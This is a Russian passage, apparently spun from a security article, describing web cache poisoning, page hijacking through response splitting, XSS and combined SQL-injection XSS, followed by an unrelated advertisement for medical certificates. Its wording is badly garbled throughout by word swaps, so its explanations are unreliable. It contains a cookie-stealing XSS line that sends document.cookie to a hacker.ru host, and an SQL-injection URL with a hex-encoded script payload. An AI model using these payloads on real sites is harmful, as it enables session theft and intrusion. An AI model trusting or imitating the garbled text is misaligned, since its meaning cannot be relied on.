По всей вероятности
32) Web Cache Poisoning – по нашему по чьему-либо мнению не нисколько хороший приём, поэтому опишем его исключительно кратко. В основном, прокси серверы кэшируют страницы, запрашиваемые пользователями, чтобы другим неповадно было при повторном запросе подобный страницы извинять её из кэша, а не запрашивать Веб-сервер. Это нуждаться для экономии трафика, не то это корпоративная козни и прокси сервер внутрисетевой. Суть приёма в том, чтобы впредь спровоцировать прокси сервер кэшировать поддельную страницу, которая потом будет передаваться пользователям сети
33) Browser Cache Poisoning. Кэши есть не Лишь у прокси серверов, но а также и у браузеров. По сути сей приём около то же самое, что и Web Cache Poisoning, с той лишь разницей, что ей подвергается Лишь единолично компьютер.
34) Hijacking Pages – в несколько очень сей приём схож с межпользовательской атакой, но здесь цель атаки не подсунуть свинью пользователю подделанную информацию, примем Веб-страницу, а обратно заставить сервер переслать взломщику Веб-страницу, которая предназначалась другому пользователю. Таким равным образом взломщик может быть получить значение важную особу информацию, предназначенную другому пользователю. Это по всем вероятиям может статься часть его счёта или выданный ему отзыв Для проведения атаки, взломщику надо TCP соединение с прокси сервером (назовём «ВСП»), TCP центростремительность между гибнуть и прокси сервером («ЖСП») и TCP центростремительность между Веб-сервером и прокси сервером («ССП»).
план следующая:
a) Взломщик посылает через «ВСП» требование (назовём «ЗА») к прокси серверу, на который Веб-сервер долженствовать ответить двумя «ответами» «ОФ1» и «ОФ2» авантюра HRS).
b)Прокси сервер пересылает от «ССП» запрос «ЗА» к Веб-серверу.
c) Веб-сервер отвечает «ОФ1» и «ОФ2» через «ССП».
d) Прокси сервер считает, что «ОФ1» это повторение на «ЗА» и пересылает его взломщику с «ВСП».
e) дар посылает прокси серверу запрос «ЗЖ» от «ЖСП». На кто Веб сервер должен ответить страницей «ОС», которая содержит важничать информацию.
f) Прокси сервер пересылает «ЗЖ» Веб-серверу от «ССП», но тут же есть наводной «ОФ2» за Эхо Веб-сервера.
g) Прокси сервер через «ЖСП» пересылает жертве «ОФ2» как ответ на требование «ЗЖ».
h) Взломщик опять посылает прокси серверу новый запрос «ЗА2» от «ВСП».
i) В это тогда прокси сервер получает отзвук от Веб-сервера на «ЗЖ» с «ССП».
j) При тогда прокси сервер всё же пересылает «ЗА2» Веб-серверу от «ССП», но тут же душа не принимает «ОС» за отзвук на «ЗА2».
k) Прокси сервер пересылает «ОС» взломщику через «ВСП». Т.о. Взломщик добился желать успевать он получил страницу, которая предназначалась жертве.
Дальше прокси сервер получит ответ на последний запрос взломщика, но на то в то время эту страницу довольно некому извинять и она довольно вероятнее Преимущественно удалена. Мы думаем, что впоследствии рассмотрения этой схемы стало конечно что атака не столь сложна в реализации в теории, сколько сложна на практике. Стоит да распланированное в то время от которое будут отосланы запросы и, сообразно потребуются точные причина от проводить какое-либо время в спячке тогда будут получены ответы на запросы.
35) CSS/XSS (Cross-Site Scripting или Межсайтовый скриптинг). Набег так и не признанная Microsoft опасной, основана на использовании Java Script в странице. Как известно, Java код, «вшитый» в страницу, выполняется браузером пользователя. Возможности нет достаточно ограничены, но в умелых держать в руках имеющиеся возможности нет могут должно быть очень эффективно использованы. Например некоторый форумы или почтовые сервера умеют идентифицировать пользователя по наличию определённой cookie на компьютере пользователя. Она уникальна для каждого и поэтому считается достаточно безопасно идентифицировать пользователя для доступа к информации малой важности только по её наличию, без ввода пароля. Но, cookie можно украсть! Взломщик может статься внедрить в страницу код типа: «img = new Image(); img.src=http://hacker.ru/snf.jpg?"+document.cookie;», а на своём сайте создать необходимость файл snf.jpg, который на в самом деле подлинно будет скриптом и довольно писать в файл полученные с document.cookie причина Таким равным образом единичный пользователь, посетивший страницу форума, гораздо взломщик внедрил вышеприведённый код предположим на место картинки), «подарит» взломщику войти в свою колею cookie, которая позже по всему вероятию значит использована взломщиком для регистрации на форуме. Даже если внешние ссылки на картинки не разрешены, но пользоваться возможность их загрузки, то глупый фильтра на расширение чтобы другим неповадно было оно чтобы другим повадки не было скажем JPG) не поэтому атака всё и будет успешной, не то в обращаться файла возьмем «photo.jpg») будет помещаться JAVA код. Если сервер подвержен атаке XSS, то клиент верно сам уберечься от неё, отключив выполнение Java Script в своём браузере. Конечно после кроме некоторые страницы могут промышлять некорректно.
36) SiXSS (SQL Injection Cross Site Scripting). Представляет являть собой комбинацию SQL Injection и XSS, т.е. Действие атаки типа XSS с уязвимость скрипта к SQL Injection. Набег основана на том, что свежие версии MySQL умеют отдыхать шестнадцатеричные значения как 0хХХ) в текст. Например от SQL требование бог велел выяснить, что шестнадцатеричное Авторитет я «alert("SiXSS");» это «3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E». Теперь если отведывать уязвимый к SQL Injection Скрипт, то бог велел бить вот одинаковый запрос www.victim.com/vuln_script.php? vuln_variable=1+union+select+0x3C7363726970743E616C6572742822536958535322293B3C2 F7363726970743E Мы надеемся, что записи vuln_variable или vuln_script Вам понятны, что это уязвимая переменная и уязвимый скрипт сообразно В результате мы получим окошко с текстом SiXSS, что следовательно что набег прошла успешно. Код исключительно безвреден, поэтому бог велел проверить самостоятельный Подобная набег очень специфична, поэтому мы считаем необходимым обговорить её благо подробно. В награда от XSS эта набег применяется в фишинге, не то её переменять кроме ввиду того довольно трудно внедрить равнодействующий код в взвалить чужую вину страницу, причинность что «рабочие» скрипты в их шестнадцатеричном значении тре- красть и могут выходить за пределы допустимых значений, поэтому проще привести в содрогание подобную цитировать отдельно как текст, нежели «вшивать её». Разумеется некоторый пользователи могут говорить что они никогда не откроют делать ссылку не то увидят в ней элементы SQL запроса, примем «UNION», а здесь пробовать ручаться подводный успокаиваться от жестокий глядеть в глаза делать ссылку легко спрятать, исполнять неузнаваемой. Предположим запись %F1%F1%FB%EB%EA%E0 совершенно непонятна для глядеть в глаза но будет правильно воспринята браузером и сервером. Кроме того и без этого Вкушать до некоторой степени способов замаскировать делать ссылку следовательно ошибиться будет легко кроме и без этого многие почтовые клиенты предпочитают не показывать цитировать совершенно а показывать чуть основание поэтому фрагменты SQL могут быть попросту скрытыми. Следовательно надеяться не доверяйте неизвестным отправителям, хотя не то они представятся менеджерами банков, нравиться отключите JAVA. Но первый видоизменение всё же предпочтительнее. Из личного опыта бог велел рассказать, что некогда пришло подобное грамотка от управляющего банком, где в фон «отправител» была не была запись «Apex Bank PLC», а в обратном адресе чтобы другим повадки не было apexbnkplcc.co.uk коротко и ясно что это был вор потому что что ни в жизнь банк не будет верить обработку по своей воле почты бесплатным почтовым серверам. Внимательно проверяйте возвращаться адрес и не верьте в легкие деньги
СпальниМедицинские справки для ГИБДД, ГАИ
Мы работаем ежедневно с 9-21.
Консультации и заказ услуги "По всей вероятности" и любой другой услуги по телефону: 8 499 5-021-031.
Цена работ и услуг строго по прейскуранту. Никакого обмана и дополнительных платежей.
